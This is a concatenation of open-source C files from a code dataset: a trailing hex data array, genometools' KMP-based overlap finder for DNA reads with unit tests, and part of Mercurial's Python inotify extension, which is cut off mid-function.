0xFFF5, 0xFFED, 0xFFE5, 0xFFDD, 0xFFD5, 0xFFCF, 0xFFCB, 0xFFC9, 0xFFCB, 0xFFD1, 0xFFDB, 0xFFEB, 0x0000, 0x0051, 0x00E7, 0x0180, 0x01D8, 0x00AA, 0x0000, 0x023E, 0x0231, 0x020C, 0x01D5, 0x0191, 0x0146, 0x00F8, 0x00AC, 0x0068, 0x0032, 0x000D, 0xD266, 0xD266, 0xD266, 0xD266, 0xD266, 0xD266, 0xD283, 0xD2CF, 0xD340, 0xD3C9, 0xD45E, 0xD4F3, 0xD57C, 0xD5EC, 0xD639, 0xD655, 0xD635, 0xD5CC, 0xD50F, 0xD3F1, 0xD266, 0xCD7E, 0xC448, 0xB9B9, 0xB0C9, 0xAEAD, 0xB449, 0xACB9, 0xADE9, 0xAF90, 0xB18E, 0xB3C6, 0xB616, 0xB861, 0xBA87, 0xBC6A, 0xBDE9, 0xBEE5, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C54, 0x4C55, 0x4C56, 0x4C56, 0x4C57, 0x4C57, 0x4C58, 0x4C58, 0x4C57, 0x4C57, 0x4C56, 0x4C55, 0x4C54, 0x4C12, 0x4BA5, 0x4B86, 0x4C30, 0x526E, 0x4928, 0x4998, 0x4645, 0x426A, 0x3E33, 0x39CF, 0x356C, 0x3137, 0x2D60, 0x2A13, 0x277E, 0x25D0, 0xF8BF, 0xF981, 0xFB52, 0xFD7C, 0xFF4D, 0x000F, 0x0015, 0x0027, 0x0041, 0x0061, 0x0084, 0x00A7, 0x00C7, 0x00E1, 0x00F3, 0x00F9, 0x00F2, 0x00D9, 0x00AD, 0x006B, 0x000F, 0xFEEE, 0xFCCC, 0xFA57, 0xF83A, 0xF777, 0xF749, 0xF1FB, 0xEF11, 0xEBE3, 0xE890, 0xE535, 0xE1EE, 0xDED8, 0xDC11, 0xD9B6, 0xD7E3, 0xD6B5, 0xED03, 0xECD6, 0xEC6A, 0xEBE9, 0xEB7D, 0xEB50, 0xEB4E, 0xEB4A, 0xEB44, 0xEB3D, 0xEB35, 0xEB2C, 0xEB25, 0xEB1F, 0xEB1B, 0xEB19, 0xEB1B, 0xEB21, 0xEB2B, 0xEB3A, 0xEB50, 0xEB98, 0xEC1F, 0xECB2, 0xED20, 0xECC5, 0xEBDC, 0xED15, 0xED17, 0xED0E, 0xECFC, 0xECE3, 0xECC6, 0xECA7, 0xEC88, 0xEC6D, 0xEC56, 0xEC46, 0x8275, 0x80D6, 0x7CF9, 0x785D, 0x7481, 0x72E2, 0x72CE, 0x7297, 0x7247, 0x71E5, 0x717B, 0x7110, 0x70AE, 0x705E, 0x7027, 0x7013, 0x702A, 0x7075, 0x70FC, 0x71C8, 0x72E2, 0x7664, 0x7CF9, 0x8484, 0x8AE6, 0x8C61, 0x8B9C, 0x94AC, 0x9855, 0x9C3B, 0xA03E, 0xA43E, 0xA81D, 0xABBA, 0xAEF5, 0xB1B0, 0xB3CA, 0xB524, 0x7FFF, 0x7FFF, 0x4171, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF86, 0xBFC7, 0xBFD4, 0xBF5F, 0xBB4C, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0xBF5F, 0x7FFF, 0x7FFF, 0x4171, 0xBF5F, 0x022D, 0xFFD5, 0xFA2A, 0xF33A, 0xED12, 0xE9C0, 0xE89D, 0xE7A5, 0xE6D8, 0xE635, 0xE5BD, 0xE56E, 0xE548, 0xE54B, 0xE577, 0xE5CC, 0xE648, 0xE6EB, 0xE7B6, 0xE8A8, 0xE9C0, 0xED4E, 0xF3E8, 0xFAFC, 0xFFF4, 0x0118, 0x0005, 0xFF22, 0xFF28, 0xFF34, 0xFF47, 0xFF5E, 0xFF77, 0xFF93, 0xFFAE, 0xFFC8, 0xFFDE, 0xFFF0, 0x087F, 0x0951, 0x0B4B, 0x0DB7, 0x0FDD, 0x1106, 0x116F, 0x11CF, 0x1224, 0x126E, 0x12AB, 0x12D9, 0x12F7, 0x1304, 0x12FE, 0x12E4, 0x12B4, 0x126E, 0x1210, 0x1198, 0x1106, 0x0F22, 0x0B9D, 0x07D2, 0x051E, 0x0469, 0x04D5, 0x050B, 0x04A8, 0x0432, 0x03AE, 0x0321, 0x0290, 0x0202, 0x017B, 0x0101, 0x0098, 0x0047, 0x054E, 0x04D1, 0x03A3, 0x0231, 0x00E9, 0x0038, 0x0003, 0xFFE5, 0xFFD8, 0xFFDB, 0xFFEA, 0x0001, 0x001D, 0x003C, 0x005A, 0x0073, 0x0084, 0x008A, 0x0082, 0x0067, 0x0038, 0xFFB2, 0xFEB0, 0xFD57, 0xFBD0, 0xF968, 0xF695, 0xF53F, 0xF56B, 0xF5D3, 0xF66C, 0xF72A, 0xF7FE, 0xF8DF, 0xF9BE, 0xFA91, 0xFB4A, 0xFBDD, 0xEC3E, 0xF121, 0xFCF1, 0x0B65, 0x183A, 0x1F26, 0x2175, 0x2350, 0x24BE, 0x25C6, 0x2670, 0x26C4, 0x26C7, 0x2683, 0x25FD, 0x253E, 0x244D, 0x2331, 0x21F2, 0x2096, 0x1F26, 0x1AA9, 0x1254, 0x096B, 0x0337, 0x0201, 0x03A9, 0x04D1, 0x048A, 0x0429, 0x03B4, 0x0330, 0x02A4, 0x0216, 0x018D, 0x010E, 0x00A1, 0x004C, 0xFBE4, 0xFAE0, 0xF86C, 0xF56B, 0xF2C1, 0xF150, 0xF0D5, 0xF071, 0xF023, 0xEFEA, 0xEFC4, 0xEFB0, 0xEFAD, 0xEFBA, 0xEFD4, 0xEFFB, 0xF02E, 0xF06B, 0xF0B0, 0xF0FD, 0xF150, 0xF24E, 0xF427, 0xF62B, 0xF7AD, 0xF838, 0xF841, 0xF87B, 0xF919, 0xF9CF, 0xFA98, 0xFB6B, 0xFC41, 0xFD13, 0xFDD9, 0xFE8C, 0xFF24, 0xFF99, 0x11A9, 0x0E6B, 0x0694, 0xFCFC, 0xF478, 0xEFDF, 0xEE4C, 0xECF2, 0xEBD3, 0xEAEE, 0xEA43, 0xE9D1, 0xE999, 0xE99A, 0xE9D5, 0xEA49, 0xEAF5, 0xEBDB, 0xECF9, 0xEE50, 0xEFDF, 0xF524, 0xFEE5, 0x0910, 0x0F98, 0x0F0C, 0x0A6D, 0x0754, 0x06F5, 0x06C3, 0x06B8, 0x06CC, 0x06F9, 0x0737, 0x077F, 0x07CA, 0x0810, 0x084C, 0x40A1, 0x40A1, 0x40A1, 0x40A1, 0x40A1, 0x40A1, 0x409A, 0x4088, 0x406C, 0x404B, 0x4027, 0x4003, 0x3FE2, 0x3FC6, 0x3FB4, 0x3FAD, 0x3FB5, 0x3FCE, 0x3FFC, 0x4041, 0x40A1, 0x4225, 0x44EB, 0x4796, 0x48C7, 0x48AC, 0x4862, 0x47EE, 0x4759, 0x46AA, 0x45E9, 0x451C, 0x444C, 0x437F, 0x42BE, 0x420F, 0x417A, 0x4106, };
c1ace3a40bb2e5093e460a2aeff0d376fe108231
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
/src/match/rdj-ovlfind-kmp.c
aa279f24cd00832bed54bf60849f8b93f5f3202f
[ "LicenseRef-scancode-unknown-license-reference", "ISC", "BSD-2-Clause", "LicenseRef-scancode-mit-old-style", "Zlib", "MIT", "BSD-3-Clause", "bzip2-1.0.6" ]
permissive
genometools/genometools
c366dff04f6baa887f6b3be3ec55bce824b2bae1
df1df94b8c05a9c9bf848ffc6755c87b58573da5
refs/heads/master
2023-04-13T13:57:18.748796
2023-04-09T21:29:53
2023-04-09T21:29:53
11,177,980
237
63
NOASSERTION
2023-04-09T21:29:54
2013-07-04T13:39:38
C
UTF-8
C
false
false
12,869
c
rdj-ovlfind-kmp.c
/* Copyright (c) 2009-2011 Giorgio Gonnella <gonnella@zbh.uni-hamburg.de> Copyright (c) 2009-2011 Center for Bioinformatics, University of Hamburg Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <string.h> #include "core/ma_api.h" #include "core/minmax_api.h" #include "core/assert_api.h" #include "match/rdj-ovlfind-kmp.h" /* for unit test: */ #include "core/array_api.h" #include "core/ensure_api.h" gt_kmp_t* gt_kmp_preproc(const char *seq, GtUword seqlen) { gt_kmp_t* pi; gt_kmp_t k; GtUword q; pi = gt_malloc(sizeof (gt_kmp_t) * seqlen); pi[0] = 0; k = 0; for (q = 1UL; q < seqlen; q++) { while ((k > 0) && (seq[k] != seq[q])) k = pi[k-1]; if (seq[k] == seq[q]) k++; gt_assert(k < GT_KMP_MAX); pi[q] = k; } return pi; } static inline gt_kmp_t findnextmatch(const char *a, const char *b, GtUword from, GtUword to, const gt_kmp_t *pi) { gt_kmp_t q; GtUword i; q = 0; for (i = from; i <= to; i++) { while ((q > 0) && (a[i] != b[q])) q = pi[q - 1]; if (a[i] == b[q]) q++; } return q; } static inline void spmfind_kmp(const char *a, GtUword alen, const char *b, GtUword blen, const gt_kmp_t *pi, GtUword min_length, bool find_submaximal, bool self_comparison, void(*proc)(GtUword, bool, void*), bool direction, void* procdata) { gt_kmp_t q; GtUword max_matchlen; max_matchlen = GT_MIN(alen, blen); if (self_comparison) max_matchlen -= 1; q = findnextmatch(a, b, alen - max_matchlen, alen - 1, pi); if ((GtUword)q >= min_length) proc((GtUword)q, direction, procdata); if (find_submaximal) while (q > 0) { q = findnextmatch(a, b, alen - q + 1, alen - 1, pi); if ((GtUword)q >= min_length) proc((GtUword)q, direction, procdata); } } static inline bool contfind_kmp(const char *a, GtUword alen, const gt_kmp_t *pi, const char *b, GtUword blen) { gt_kmp_t q; GtUword i; q = 0; gt_assert(alen < blen); for (i = 0; i < blen; i++) { while ((q > 0) && (a[q] != b[i])) q = pi[q - 1]; if (a[q] == b[i]) q++; if ((GtUword)q == alen) return true; } return false; } GtContfind gt_ovlfind_kmp(const char *u, GtUword u_length, const gt_kmp_t *u_pi, const char *v, GtUword v_length, const gt_kmp_t *v_pi, GtOvlfindMode m, GtUword min_length, bool find_nonmaximal, void(*spmproc) (GtUword /* overlap length */, bool /* true if suffix of u == prefix of v, false if prefix of u == suffix of v */, void* /* spmprocdata */), void* spmprocdata) { GtContfind retval = GT_CONTFIND_OFF; bool self_comparison; gt_assert(u != NULL); gt_assert(u_length > 0); gt_assert(u_pi != NULL); self_comparison = (v == NULL); gt_assert(self_comparison || v_length > 0); gt_assert(self_comparison || v_pi != NULL); gt_assert(!self_comparison || m == GT_OVLFIND_SPM || m == GT_OVLFIND_ALL); if (self_comparison && m == GT_OVLFIND_ALL) retval = GT_CONTFIND_EQ; if (m != GT_OVLFIND_SPM && !self_comparison) { if (u_length == v_length) retval = memcmp(u, v, (size_t)u_length) == 0 ? GT_CONTFIND_EQ : GT_CONTFIND_NO; else if (u_length < v_length) retval = contfind_kmp(u, u_length, u_pi, v, v_length) ? GT_CONTFIND_U : GT_CONTFIND_NO; else /* u_length > v_length */ retval = contfind_kmp(v, v_length, v_pi, u, u_length) ? GT_CONTFIND_V : GT_CONTFIND_NO; if (m == GT_OVLFIND_PROPER_SPM && retval != GT_CONTFIND_NO) return retval; } if (m != GT_OVLFIND_CNT) { if (self_comparison) { spmfind_kmp(u, u_length, u, u_length, u_pi, min_length, find_nonmaximal, self_comparison, spmproc, true, spmprocdata); } else { spmfind_kmp(u, u_length, v, v_length, v_pi, min_length, find_nonmaximal, self_comparison, spmproc, true, spmprocdata); spmfind_kmp(v, v_length, u, u_length, u_pi, min_length, find_nonmaximal, self_comparison, spmproc, false, spmprocdata); } } return retval; } /*-------------------------- UNIT TEST --------------------------*/ int gt_kmp_preproc_unit_test(GtError *err) { int had_err = 0; int i; gt_kmp_t *pi, expected_pi[10] = {(gt_kmp_t)0, (gt_kmp_t)0, (gt_kmp_t)1, (gt_kmp_t)2, (gt_kmp_t)3, (gt_kmp_t)4, (gt_kmp_t)5, (gt_kmp_t)6, (gt_kmp_t)0, (gt_kmp_t)1}; pi = gt_kmp_preproc("ababababca", 10UL); for (i = 0; i < 10; i++) gt_ensure(pi[i] == expected_pi[i]); gt_free(pi); return had_err; } struct GtOvlfindKmpResult { bool u_suffix; GtUword length; }; static void ovlfind_kmp_test_save(GtUword length, bool u_suffix, void *a) { struct GtOvlfindKmpResult r = {u_suffix, length}; gt_array_add((GtArray*)a,r); } #define GT_OVLFIND_KMP_EXPECT_RESULT(N,U_SUF,LEN) \ if (!had_err) r = gt_array_get(a, (N)); \ gt_ensure(r->u_suffix == (U_SUF)); \ gt_ensure(r->length == (LEN)) int gt_ovlfind_kmp_unit_test(GtError *err) { int had_err = 0; GtArray *a; struct GtOvlfindKmpResult *r; GtContfind retval; gt_kmp_t *u_pi, *v_pi; /*@i1@*/ gt_error_check(err); had_err = gt_kmp_preproc_unit_test(err); if (had_err != 0) return had_err; a = gt_array_new(sizeof (struct GtOvlfindKmpResult)); /* u suffix == v prefix */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("aacgcacctg", 10UL); v_pi = gt_kmp_preproc("acctgatttc", 10UL); retval = gt_ovlfind_kmp("aacgcacctg", 10UL, u_pi, "acctgatttc", 10UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_NO); gt_ensure(gt_array_size(a) == 1UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, true, 5UL); gt_free(u_pi); gt_free(v_pi); } /* v suffix == u prefix */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("atccgtgacgtg", 12UL); v_pi = gt_kmp_preproc("aagaagaatccg", 12UL); retval = gt_ovlfind_kmp("atccgtgacgtg", 12UL, u_pi, "aagaagaatccg", 12UL, v_pi, GT_OVLFIND_ALL, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_NO); gt_ensure(gt_array_size(a) == 1UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, false, 5UL); gt_free(u_pi); gt_free(v_pi); } /* no overlap */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("aac", 3UL); v_pi = gt_kmp_preproc("tgc", 3UL); retval = gt_ovlfind_kmp("aac", 3UL, u_pi, "tgc", 3UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_NO); gt_ensure(gt_array_size(a) == 0UL); gt_free(u_pi); gt_free(v_pi); } /* u suffix of v */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("acagc", 5UL); v_pi = gt_kmp_preproc("gtacagc", 7UL); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "gtacagc", 7UL, v_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(gt_array_size(a) == 1UL); gt_ensure(retval == GT_CONTFIND_OFF); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, false, 5UL); gt_array_reset(a); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "gtacagc", 7UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_U); gt_ensure(gt_array_size(a) == 0UL); gt_array_reset(a); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "gtacagc", 7UL, v_pi, GT_OVLFIND_CNT, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(gt_array_size(a) == 0UL); gt_ensure(retval == GT_CONTFIND_U); gt_array_reset(a); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "gtacagc", 7UL, v_pi, GT_OVLFIND_ALL, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(gt_array_size(a) == 1UL); gt_ensure(retval == GT_CONTFIND_U); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, false, 5UL); gt_free(u_pi); gt_free(v_pi); } /* v suffix of u */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("gtacagc", 7UL); v_pi = gt_kmp_preproc("acagc", 5UL); retval = gt_ovlfind_kmp("gtacagc", 7UL, u_pi, "acagc", 5UL, v_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 1UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, true, 5UL); gt_array_reset(a); retval = gt_ovlfind_kmp("gtacagc", 7UL, u_pi, "acagc", 5UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_V); gt_ensure(gt_array_size(a) == 0UL); gt_free(u_pi); gt_free(v_pi); } /* u prefix of v */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("ctat", 4UL); v_pi = gt_kmp_preproc("ctatacagg", 9UL); retval = gt_ovlfind_kmp("ctat", 4UL, u_pi, "ctatacagg", 9UL, v_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 1UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, true, 4UL); gt_array_reset(a); retval = gt_ovlfind_kmp("ctat", 4UL, u_pi, "ctatacagg", 9UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_U); gt_ensure(gt_array_size(a) == 0UL); gt_free(u_pi); gt_free(v_pi); } /* v prefix of u */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("ctatacagg", 9UL); v_pi = gt_kmp_preproc("ctat", 4UL); retval = gt_ovlfind_kmp("ctatacagg", 9UL, u_pi, "ctat", 4UL, v_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 1UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, false, 4UL); gt_array_reset(a); retval = gt_ovlfind_kmp("ctatacagg", 9UL, u_pi, "ctat", 4UL, v_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_V); gt_ensure(gt_array_size(a) == 0UL); gt_free(u_pi); gt_free(v_pi); } /* identical sequences */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("acagc", 5UL); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "acagc", 5UL, u_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 2UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, true, 5UL); GT_OVLFIND_KMP_EXPECT_RESULT(1UL, false, 5UL); gt_array_reset(a); retval = gt_ovlfind_kmp("acagc", 5UL, u_pi, "acagc", 5UL, u_pi, GT_OVLFIND_PROPER_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_EQ); gt_ensure(gt_array_size(a) == 0UL); gt_free(u_pi); } /* find_nonmaximal */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("aacagtagtagt", 12UL); v_pi = gt_kmp_preproc("agtagtagttaa", 12UL); retval = gt_ovlfind_kmp("aacagtagtagt", 12UL, u_pi, "agtagtagttaa", 12UL, v_pi, GT_OVLFIND_SPM, 1UL, false, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 2UL); GT_OVLFIND_KMP_EXPECT_RESULT(0UL, true, 9UL); GT_OVLFIND_KMP_EXPECT_RESULT(1UL, false, 2UL); gt_array_reset(a); retval = gt_ovlfind_kmp("aacagtagtagt", 12UL, u_pi, "agtagtagttaa", 12UL, v_pi, GT_OVLFIND_SPM, 1UL, true, ovlfind_kmp_test_save, a); gt_ensure(gt_array_size(a) == 5UL); gt_ensure(retval == GT_CONTFIND_OFF); gt_free(u_pi); gt_free(v_pi); } /* min_length */ if (!had_err) { gt_array_reset(a); u_pi = gt_kmp_preproc("aggaccagtagt", 12UL); v_pi = gt_kmp_preproc("agtagttactac", 12UL); retval = gt_ovlfind_kmp("aggaccagtagt", 12UL, u_pi, "agtagttactac", 12UL, v_pi, GT_OVLFIND_SPM, 1UL, true, ovlfind_kmp_test_save, a); gt_ensure(retval == GT_CONTFIND_OFF); gt_ensure(gt_array_size(a) == 2UL); gt_array_reset(a); retval = gt_ovlfind_kmp("aggaccagtagt", 12UL, u_pi, "agtagttactac", 12UL, v_pi, GT_OVLFIND_SPM, 4UL, true, ovlfind_kmp_test_save, a); gt_ensure(gt_array_size(a) == 1UL); gt_ensure(retval == GT_CONTFIND_OFF); gt_free(u_pi); gt_free(v_pi); } gt_array_delete(a); return had_err; }
010ad90113cddb106217e6239671ea94b97d9d5b
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/plugins/hg4idea/testData/bin/hgext/inotify/linux/_inotify.c
9627b0adcc65b840ca059ed3a86d91e5637fb5a6
[ "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
C
false
false
14,131
c
_inotify.c
/* * _inotify.c - Python extension interfacing to the Linux inotify subsystem * * Copyright 2006 Bryan O'Sullivan <bos@serpentine.com> * * This library is free software; you can redistribute it and/or * modify it under the terms of version 2.1 of the GNU Lesser General * Public License or any later version. */ #include <Python.h> #include <alloca.h> #include <sys/inotify.h> #include <stdint.h> #include <sys/ioctl.h> #include <unistd.h> #include <util.h> /* Variables used in the event string representation */ static PyObject *join; static PyObject *er_wm; static PyObject *er_wmc; static PyObject *er_wmn; static PyObject *er_wmcn; static PyObject *init(PyObject *self, PyObject *args) { PyObject *ret = NULL; int fd = -1; if (!PyArg_ParseTuple(args, ":init")) goto bail; Py_BEGIN_ALLOW_THREADS; fd = inotify_init(); Py_END_ALLOW_THREADS; if (fd == -1) { PyErr_SetFromErrno(PyExc_OSError); goto bail; } ret = PyInt_FromLong(fd); if (ret == NULL) goto bail; goto done; bail: if (fd != -1) close(fd); Py_CLEAR(ret); done: return ret; } PyDoc_STRVAR( init_doc, "init() -> fd\n" "\n" "Initialize an inotify instance.\n" "Return a file descriptor associated with a new inotify event queue."); static PyObject *add_watch(PyObject *self, PyObject *args) { PyObject *ret = NULL; uint32_t mask; int wd = -1; char *path; int fd; if (!PyArg_ParseTuple(args, "isI:add_watch", &fd, &path, &mask)) goto bail; Py_BEGIN_ALLOW_THREADS; wd = inotify_add_watch(fd, path, mask); Py_END_ALLOW_THREADS; if (wd == -1) { PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); goto bail; } ret = PyInt_FromLong(wd); if (ret == NULL) goto bail; goto done; bail: if (wd != -1) inotify_rm_watch(fd, wd); Py_CLEAR(ret); done: return ret; } PyDoc_STRVAR( add_watch_doc, "add_watch(fd, path, mask) -> wd\n" "\n" "Add a watch to an inotify instance, or modify an existing watch.\n" "\n" " fd: file descriptor returned by init()\n" " path: path to watch\n" " mask: mask of events to watch for\n" "\n" "Return a unique numeric watch descriptor for the inotify instance\n" "mapped by the file descriptor."); static PyObject *remove_watch(PyObject *self, PyObject *args) { uint32_t wd; int fd; int r; if (!PyArg_ParseTuple(args, "iI:remove_watch", &fd, &wd)) return NULL; Py_BEGIN_ALLOW_THREADS; r = inotify_rm_watch(fd, wd); Py_END_ALLOW_THREADS; if (r == -1) { PyErr_SetFromErrno(PyExc_OSError); return NULL; } Py_INCREF(Py_None); return Py_None; } PyDoc_STRVAR( remove_watch_doc, "remove_watch(fd, wd)\n" "\n" " fd: file descriptor returned by init()\n" " wd: watch descriptor returned by add_watch()\n" "\n" "Remove a watch associated with the watch descriptor wd from the\n" "inotify instance associated with the file descriptor fd.\n" "\n" "Removing a watch causes an IN_IGNORED event to be generated for this\n" "watch descriptor."); #define bit_name(x) {x, #x} static struct { int bit; const char *name; PyObject *pyname; } bit_names[] = { bit_name(IN_ACCESS), bit_name(IN_MODIFY), bit_name(IN_ATTRIB), bit_name(IN_CLOSE_WRITE), bit_name(IN_CLOSE_NOWRITE), bit_name(IN_OPEN), bit_name(IN_MOVED_FROM), bit_name(IN_MOVED_TO), bit_name(IN_CREATE), bit_name(IN_DELETE), bit_name(IN_DELETE_SELF), bit_name(IN_MOVE_SELF), bit_name(IN_UNMOUNT), bit_name(IN_Q_OVERFLOW), bit_name(IN_IGNORED), bit_name(IN_ONLYDIR), bit_name(IN_DONT_FOLLOW), bit_name(IN_MASK_ADD), bit_name(IN_ISDIR), bit_name(IN_ONESHOT), {0} }; static PyObject *decode_mask(int mask) { PyObject *ret = PyList_New(0); int i; if (ret == NULL) goto bail; for (i = 0; bit_names[i].bit; i++) { if (mask & bit_names[i].bit) { if (bit_names[i].pyname == NULL) { bit_names[i].pyname = PyString_FromString(bit_names[i].name); if (bit_names[i].pyname == NULL) goto bail; } Py_INCREF(bit_names[i].pyname); if (PyList_Append(ret, bit_names[i].pyname) == -1) goto bail; } } goto done; bail: Py_CLEAR(ret); done: return ret; } static PyObject *pydecode_mask(PyObject *self, PyObject *args) { int mask; if (!PyArg_ParseTuple(args, "i:decode_mask", &mask)) return NULL; return decode_mask(mask); } PyDoc_STRVAR( decode_mask_doc, "decode_mask(mask) -> list_of_strings\n" "\n" "Decode an inotify mask value into a list of strings that give the\n" "name of each bit set in the mask."); static char doc[] = "Low-level inotify interface wrappers."; static void define_const(PyObject *dict, const char *name, uint32_t val) { PyObject *pyval = PyInt_FromLong(val); PyObject *pyname = PyString_FromString(name); if (!pyname || !pyval) goto bail; PyDict_SetItem(dict, pyname, pyval); bail: Py_XDECREF(pyname); Py_XDECREF(pyval); } static void define_consts(PyObject *dict) { define_const(dict, "IN_ACCESS", IN_ACCESS); define_const(dict, "IN_MODIFY", IN_MODIFY); define_const(dict, "IN_ATTRIB", IN_ATTRIB); define_const(dict, "IN_CLOSE_WRITE", IN_CLOSE_WRITE); define_const(dict, "IN_CLOSE_NOWRITE", IN_CLOSE_NOWRITE); define_const(dict, "IN_OPEN", IN_OPEN); define_const(dict, "IN_MOVED_FROM", IN_MOVED_FROM); define_const(dict, "IN_MOVED_TO", IN_MOVED_TO); define_const(dict, "IN_CLOSE", IN_CLOSE); define_const(dict, "IN_MOVE", IN_MOVE); define_const(dict, "IN_CREATE", IN_CREATE); define_const(dict, "IN_DELETE", IN_DELETE); define_const(dict, "IN_DELETE_SELF", IN_DELETE_SELF); define_const(dict, "IN_MOVE_SELF", IN_MOVE_SELF); define_const(dict, "IN_UNMOUNT", IN_UNMOUNT); define_const(dict, "IN_Q_OVERFLOW", IN_Q_OVERFLOW); define_const(dict, "IN_IGNORED", IN_IGNORED); define_const(dict, "IN_ONLYDIR", IN_ONLYDIR); define_const(dict, "IN_DONT_FOLLOW", IN_DONT_FOLLOW); define_const(dict, "IN_MASK_ADD", IN_MASK_ADD); define_const(dict, "IN_ISDIR", IN_ISDIR); define_const(dict, "IN_ONESHOT", IN_ONESHOT); define_const(dict, "IN_ALL_EVENTS", IN_ALL_EVENTS); } struct event { PyObject_HEAD PyObject *wd; PyObject *mask; PyObject *cookie; PyObject *name; }; static PyObject *event_wd(PyObject *self, void *x) { struct event *evt = (struct event *)self; Py_INCREF(evt->wd); return evt->wd; } static PyObject *event_mask(PyObject *self, void *x) { struct event *evt = (struct event *)self; Py_INCREF(evt->mask); return evt->mask; } static PyObject *event_cookie(PyObject *self, void *x) { struct event *evt = (struct event *)self; Py_INCREF(evt->cookie); return evt->cookie; } static PyObject *event_name(PyObject *self, void *x) { struct event *evt = (struct event *)self; Py_INCREF(evt->name); return evt->name; } static struct PyGetSetDef event_getsets[] = { {"wd", event_wd, NULL, "watch descriptor"}, {"mask", event_mask, NULL, "event mask"}, {"cookie", event_cookie, NULL, "rename cookie, if rename-related event"}, {"name", event_name, NULL, "file name"}, {NULL} }; PyDoc_STRVAR( event_doc, "event: Structure describing an inotify event."); static PyObject *event_new(PyTypeObject *t, PyObject *a, PyObject *k) { return (*t->tp_alloc)(t, 0); } static void event_dealloc(struct event *evt) { Py_XDECREF(evt->wd); Py_XDECREF(evt->mask); Py_XDECREF(evt->cookie); Py_XDECREF(evt->name); Py_TYPE(evt)->tp_free(evt); } static PyObject *event_repr(struct event *evt) { int cookie = 